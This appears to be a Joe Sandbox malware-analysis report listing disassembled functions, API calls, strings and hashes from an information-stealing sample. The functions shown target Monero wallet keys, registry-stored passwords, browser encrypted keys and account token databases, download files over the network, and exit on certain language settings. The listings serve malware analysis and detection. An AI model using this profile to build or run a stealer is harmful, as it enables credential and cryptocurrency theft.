Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 6496872079f509ff13408201d94d4b73be834c4de03d3a7be56a34054993dafb
Instruction ID: 43234b2fe8217cc314fcf3af8fbd4cb8832cb5412acf43a43c5505c18be16f3b
Opcode Fuzzy Hash: 6496872079f509ff13408201d94d4b73be834c4de03d3a7be56a34054993dafb
Instruction Fuzzy Hash: DB510E70910148ABCB24FF61CDA2BED7779AF10301F504018F4066B592EF38AB55EF62

Function 00FB12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 0d3ddbc8f9a726fafd76727dfc4f6db4af584eede1d7baa3e5ed45c765e2d7da
Instruction ID: 3cd626bda36bc39c74cb4a07350e021cd63aa727957f23ae9fedae19ed60dc09
Opcode Fuzzy Hash: 0d3ddbc8f9a726fafd76727dfc4f6db4af584eede1d7baa3e5ed45c765e2d7da
Instruction Fuzzy Hash: 3DC1B5B590020DABCB28EFA1DC99FEA7378BF54304F104598E11AA7141EB74EA85DF91

Function 00FB4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FB8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FB42EC
lstrcat.KERNEL32(?,008CE298), ref: 00FB430B
lstrcat.KERNEL32(?,?), ref: 00FB431F
lstrcat.KERNEL32(?,008CD3F0), ref: 00FB4333

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FB8D90: GetFileAttributesA.KERNEL32(00000000,?,00FA1B54,?,?,00FC564C,?,?,00FC0E1F), ref: 00FB8D9F

Part of subcall function 00FA9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00FA9D39

Part of subcall function 00FA99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FA99EC
Part of subcall function 00FA99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FA9A11
Part of subcall function 00FA99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FA9A31
Part of subcall function 00FA99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FA148F,00000000), ref: 00FA9A5A
Part of subcall function 00FA99C0: LocalFree.KERNEL32(00FA148F), ref: 00FA9A90
Part of subcall function 00FA99C0: CloseHandle.KERNEL32(000000FF), ref: 00FA9A9A

Part of subcall function 00FB93C0: GlobalAlloc.KERNEL32(00000000,00FB43DD,00FB43DD), ref: 00FB93D3

StrStrA.SHLWAPI(?,008CE208), ref: 00FB43F3
GlobalFree.KERNEL32(?), ref: 00FB4512

Part of subcall function 00FA9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FA4EEE,00000000,00000000), ref: 00FA9AEF
Part of subcall function 00FA9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00FA4EEE,00000000,?), ref: 00FA9B01
Part of subcall function 00FA9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FA4EEE,00000000,00000000), ref: 00FA9B2A
Part of subcall function 00FA9AC0: LocalFree.KERNEL32(?,?,?,?,00FA4EEE,00000000,?), ref: 00FA9B3F

lstrcat.KERNEL32(?,00000000), ref: 00FB44A3
StrCmpCA.SHLWAPI(?,00FC08D1), ref: 00FB44C0
lstrcat.KERNEL32(00000000,00000000), ref: 00FB44D2
lstrcat.KERNEL32(00000000,?), ref: 00FB44E5
lstrcat.KERNEL32(00000000,00FC0FB8), ref: 00FB44F4

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 372b2bdbb2c4816c63f404826c6e1792d4cf0f400cdcb895bcc0645693633dd7
Instruction ID: af502799e8333fb09e7dd94a638d4fab6a21c12d4e21cb9e3c3ec2e1f3591a2c
Opcode Fuzzy Hash: 372b2bdbb2c4816c63f404826c6e1792d4cf0f400cdcb895bcc0645693633dd7
Instruction Fuzzy Hash: 627174B6900208ABDB24EBE0DC85FEE77BDAF88300F044598F61597181DA78EB55DF91

Function 00FA1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FA12B4
Part of subcall function 00FA12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00FA12BB
Part of subcall function 00FA12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00FA12D7
Part of subcall function 00FA12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00FA12F5
Part of subcall function 00FA12A0: RegCloseKey.ADVAPI32(?), ref: 00FA12FF

lstrcat.KERNEL32(?,00000000), ref: 00FA134F
lstrlen.KERNEL32(?), ref: 00FA135C
lstrcat.KERNEL32(?,.keys), ref: 00FA1377

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

Part of subcall function 00FB8B60: GetSystemTime.KERNEL32(00FC0E1A,008CA8B0,00FC05AE,?,?,00FA13F9,?,0000001A,00FC0E1A,00000000,?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FB8B86

Part of subcall function 00FBA920: lstrcpy.KERNEL32(00000000,?), ref: 00FBA972
Part of subcall function 00FBA920: lstrcat.KERNEL32(00000000), ref: 00FBA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00FA1465

Part of subcall function 00FBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FBA7E6

Part of subcall function 00FA99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FA99EC
Part of subcall function 00FA99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FA9A11
Part of subcall function 00FA99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FA9A31
Part of subcall function 00FA99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FA148F,00000000), ref: 00FA9A5A
Part of subcall function 00FA99C0: LocalFree.KERNEL32(00FA148F), ref: 00FA9A90
Part of subcall function 00FA99C0: CloseHandle.KERNEL32(000000FF), ref: 00FA9A9A

DeleteFileA.KERNEL32(00000000), ref: 00FA14EF

Strings

.keys, xrefs: 00FA136B
\Monero\wallet.keys, xrefs: 00FA138D
SOFTWARE\monero-project\monero-core, xrefs: 00FA1335
wallet_path, xrefs: 00FA1330

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: dff07c43d0a9199533bbd33bf3ca6fd447a65818853d016e179da6eb3d850f88
Instruction ID: ec940aafa2380dbb075e26a64829559206e9a62889cdf7a3f3dd5ade721b2200
Opcode Fuzzy Hash: dff07c43d0a9199533bbd33bf3ca6fd447a65818853d016e179da6eb3d850f88
Instruction Fuzzy Hash: 305159B1D501196BCB25FB61DD92FED737CAF54300F4041A8B60A66081EF346B85DFA6

Function 00FA75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00FA733A
Part of subcall function 00FA72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00FA73B1
Part of subcall function 00FA72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00FA740D
Part of subcall function 00FA72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00FA7452
Part of subcall function 00FA72D0: HeapFree.KERNEL32(00000000), ref: 00FA7459

lstrcat.KERNEL32(00000000,00FC17FC), ref: 00FA7606
lstrcat.KERNEL32(00000000,00000000), ref: 00FA7648
lstrcat.KERNEL32(00000000, : ), ref: 00FA765A
lstrcat.KERNEL32(00000000,00000000), ref: 00FA768F
lstrcat.KERNEL32(00000000,00FC1804), ref: 00FA76A0
lstrcat.KERNEL32(00000000,00000000), ref: 00FA76D3
lstrcat.KERNEL32(00000000,00FC1808), ref: 00FA76ED
task.LIBCPMTD ref: 00FA76FB

Strings

: , xrefs: 00FA764E

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: d8708abdc929181640fbaf89b815155196b6b3cf1ce91ee046587def5be736a7
Instruction ID: aa7e4d66d1ec7c7c491ba3aea1e7caed9e92f48bf6f6c53c221ce0816ef972d9
Opcode Fuzzy Hash: d8708abdc929181640fbaf89b815155196b6b3cf1ce91ee046587def5be736a7
Instruction Fuzzy Hash: BE3154B1D00109DFCB18EBE4EC55EFE77B4BF8A301B104128F112AB285DA34A946DF51

Function 00FA60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FBA7E6

Part of subcall function 00FA47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FA4839
Part of subcall function 00FA47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FA4849

InternetOpenA.WININET(00FC0DF7,00000001,00000000,00000000,00000000), ref: 00FA610F
StrCmpCA.SHLWAPI(?,008CEB98), ref: 00FA6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00FA618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00FA61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00FA61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00FA620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00FA6249
InternetCloseHandle.WININET(?), ref: 00FA6253
InternetCloseHandle.WININET(00000000), ref: 00FA6260

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: d043eab4113ed4fee0829bb5906bb5fa25861525cdc6e35e6dba1b884e29914b
Instruction ID: 9fa7b17633c8bf25ee0428ebf351e341ec483ed8cd5fb8ecdf1707afac25dc13
Opcode Fuzzy Hash: d043eab4113ed4fee0829bb5906bb5fa25861525cdc6e35e6dba1b884e29914b
Instruction Fuzzy Hash: 8D5182B1D40218ABDF24DFA0DC45BEE77B8EF44705F1080A8B606AB1C0DB75AA85DF95

Function 00FA72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00FA733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00FA73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00FA740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00FA7452
HeapFree.KERNEL32(00000000), ref: 00FA7459
task.LIBCPMTD ref: 00FA7555

Strings

Password, xrefs: 00FA7401

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 4d483e3003159c04bf88ca4d88148908000e301501b1eb10203799bba265aac6
Instruction ID: e4889a0260dd15061b672959afa51bfd9d2c4d4c8b8f8e71bfa7962e4e397909
Opcode Fuzzy Hash: 4d483e3003159c04bf88ca4d88148908000e301501b1eb10203799bba265aac6
Instruction Fuzzy Hash: 73613AB5D042689BDB24DB50DC41FDAB7B8BF49300F0081E9E649A6141EFB46BC9DFA1

Function 00FABA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA920: lstrcpy.KERNEL32(00000000,?), ref: 00FBA972
Part of subcall function 00FBA920: lstrcat.KERNEL32(00000000), ref: 00FBA982

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

Part of subcall function 00FBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FBA7E6

lstrlen.KERNEL32(00000000), ref: 00FABC9F

Part of subcall function 00FB8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FB8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00FABCCD
lstrlen.KERNEL32(00000000), ref: 00FABDA5
lstrlen.KERNEL32(00000000), ref: 00FABDB9

Strings

AccountId, xrefs: 00FABCC4
AccountTokens, xrefs: 00FABB49
AccountTokens, xrefs: 00FABABA
SELECT service, encrypted_token FROM token_service, xrefs: 00FABBEB

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 707655eb57741f3b6d987948c87dcaa363a07ae95d14a93506033c2fe48e6bdd
Instruction ID: b7a2437d8fa88470df366539a7d670794e37ac401093f58f4228dadfc5d9d7b4
Opcode Fuzzy Hash: 707655eb57741f3b6d987948c87dcaa363a07ae95d14a93506033c2fe48e6bdd
Instruction Fuzzy Hash: 3AB14071910108ABDB14FBE1DD96EEE737CAF54300F404168F506A7492EF38AA59EF62

Function 00FB6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00FB6774
ExitProcess.KERNEL32 ref: 00FB67A5
ExitProcess.KERNEL32 ref: 00FB67AF
ExitProcess.KERNEL32 ref: 00FB67B9
ExitProcess.KERNEL32 ref: 00FB67C3
ExitProcess.KERNEL32 ref: 00FB67CD

Strings

*, xrefs: 00FB678C

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: f61cc94c0e2ef63638a52eb0b284986b3fe801101218adb32a42f64cdffa048c
